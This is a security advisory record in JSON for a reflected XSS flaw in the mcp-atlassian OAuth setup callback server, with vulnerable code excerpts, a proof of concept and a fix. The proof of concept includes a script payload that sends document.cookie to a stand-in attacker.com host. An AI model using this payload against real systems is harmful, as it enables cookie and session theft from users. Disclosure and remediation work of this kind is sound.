{"id":"GHSA-g2r2-3j32-j27x","summary":"MCP Atlassian: Reflected XSS in OAuth Setup Callback Handler","details":"## Summary\n\nThe OAuth 2.0 setup wizard's local callback HTTP server reflects the `error` query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the `error` parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (`0.0.0.0`), making it accessible from the local network rather than just localhost.\n\n## Details\n\nThe vulnerability exists in the `CallbackHandler` class in `src/mcp_atlassian/utils/oauth_setup.py`.\n\n**Step 1 -- Attacker-controlled input enters unsanitized:**\n\nAt line 63-66, the `error` query parameter from the URL is read and interpolated into a message string without HTML escaping:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:63-66\nif \"error\" in params:\n    callback_error = params[\"error\"][0]\n    callback_received = True\n    self._send_response(f\"Authorization failed: {callback_error}\")\n```\n\n**Step 2 -- Unsanitized input is injected into HTML:**\n\nAt line 124-125 in `_send_response`, the `message` variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:124-125\n\u003cdiv class=\"message {\"success\" if status == 200 else \"error\"}\"\u003e\n    \u003cp\u003e{message}\u003c/p\u003e\n\u003c/div\u003e\n```\n\n**Step 3 -- Server listens on all interfaces:**\n\nAt line 167, the callback server binds to all network interfaces, not just localhost:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\nhttpd = socketserver.TCPServer((\"\", port), handler)\n```\n\nThis means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.\n\n**Step 4 -- No security headers:**\n\nThe response at line 84-86 sets `Content-type: text/html` but does not include `Content-Security-Policy`, `X-Content-Type-Options`, or `X-XSS-Protection` headers:\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:84-86\nself.send_response(status)\nself.send_header(\"Content-type\", \"text/html\")\nself.end_headers()\n```\n\n## PoC\n\n**Prerequisites:** The victim must be running the OAuth setup wizard (`mcp-atlassian --oauth-setup` or `run_oauth_setup()`), which starts the callback server.\n\n**Step 1 -- Craft the malicious URL:**\n\n```\nhttp://\u003cvictim-ip\u003e:8080/callback?error=\u003cscript\u003efetch('https://attacker.com/steal?cookie='+document.cookie)\u003c/script\u003e\n```\n\n**Step 2 -- Deliver the link to the victim:**\n\nSend the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.\n\n**Step 3 -- Verify with a simpler payload:**\n\n```bash\n# Start the setup wizard (victim's machine)\n# uv run mcp-atlassian --oauth-setup\n\n# From attacker's machine (or same network):\ncurl \"http://\u003cvictim-ip\u003e:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E\"\n```\n\nThe response HTML will contain:\n```html\n\u003cp\u003eAuthorization failed: \u003cscript\u003ealert(document.domain)\u003c/script\u003e\u003c/p\u003e\n```\n\n## Impact\n\n- **JavaScript execution** in the victim's browser context during the OAuth setup flow.\n- While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because:\n  1. The server binds to all interfaces, making it accessible from the local network.\n  2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174).\n  3. During this window, any crafted request triggers the XSS.\n- An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles `code` and `state` parameters on the same endpoint.\n\n## Recommended Fix\n\n**1. HTML-escape the message before injecting into the template:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py\nimport html\n\ndef _send_response(self, message: str, status: int = 200) -\u003e None:\n    \"\"\"Send response to the browser.\"\"\"\n    self.send_response(status)\n    self.send_header(\"Content-type\", \"text/html\")\n    self.send_header(\"X-Content-Type-Options\", \"nosniff\")\n    self.send_header(\"Content-Security-Policy\", \"default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'\")\n    self.end_headers()\n\n    # Escape user-controlled content before HTML injection\n    safe_message = html.escape(message)\n\n    html_content = f\"\"\"\n    ...\n            \u003cdiv class=\"message {\"success\" if status == 200 else \"error\"}\"\u003e\n                \u003cp\u003e{safe_message}\u003c/p\u003e\n            \u003c/div\u003e\n    ...\n    \"\"\"\n```\n\n**2. Bind the callback server to localhost only:**\n\n```python\n# src/mcp_atlassian/utils/oauth_setup.py:167\n# Change from:\nhttpd = socketserver.TCPServer((\"\", port), handler)\n# To:\nhttpd = socketserver.TCPServer((\"127.0.0.1\", port), handler)\n```","aliases":["CVE-2026-77272","PYSEC-2026-4093"],"modified":"2026-10-01T17:56:06.097977063Z","published":"2026-09-22T20:35:25Z","database_specific":{"github_reviewed_at":"2026-09-22T20:35:25Z","nvd_published_at":null,"cwe_ids":["CWE-79"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-g2r2-3j32-j27x"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/pull/1448"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"},{"type":"PACKAGE","url":"https://github.com/sooperset/mcp-atlassian"},{"type":"WEB","url":"https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"}],"affected":[{"package":{"name":"mcp-atlassian","ecosystem":"PyPI","purl":"pkg:pypi/mcp-atlassian"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.22.0"}]}],"versions":["0.1.1","0.1.10","0.1.11","0.1.12","0.1.13","0.1.14","0.1.15","0.1.16","0.1.2","0.1.3","0.1.4","0.1.6","0.1.7","0.1.8","0.1.9","0.10.0","0.10.1","0.10.2","0.10.3","0.10.4","0.10.5","0.10.6","0.11.0","0.11.1","0.11.10","0.11.11","0.11.12","0.11.2","0.11.2a2","0.11.3","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.11.9","0.12.0","0.13.0","0.13.1","0.14.0","0.14.1","0.14.2","0.14.3","0.15.0","0.16.0","0.16.1","0.17.0","0.18.0","0.18.1","0.19.0","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.20.0","0.20.1","0.21.0","0.21.1","0.3.0","0.3.1","0.4.0","0.5.0","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.7.0","0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.8.4","0.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-g2r2-3j32-j27x/GHSA-g2r2-3j32-j27x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}]}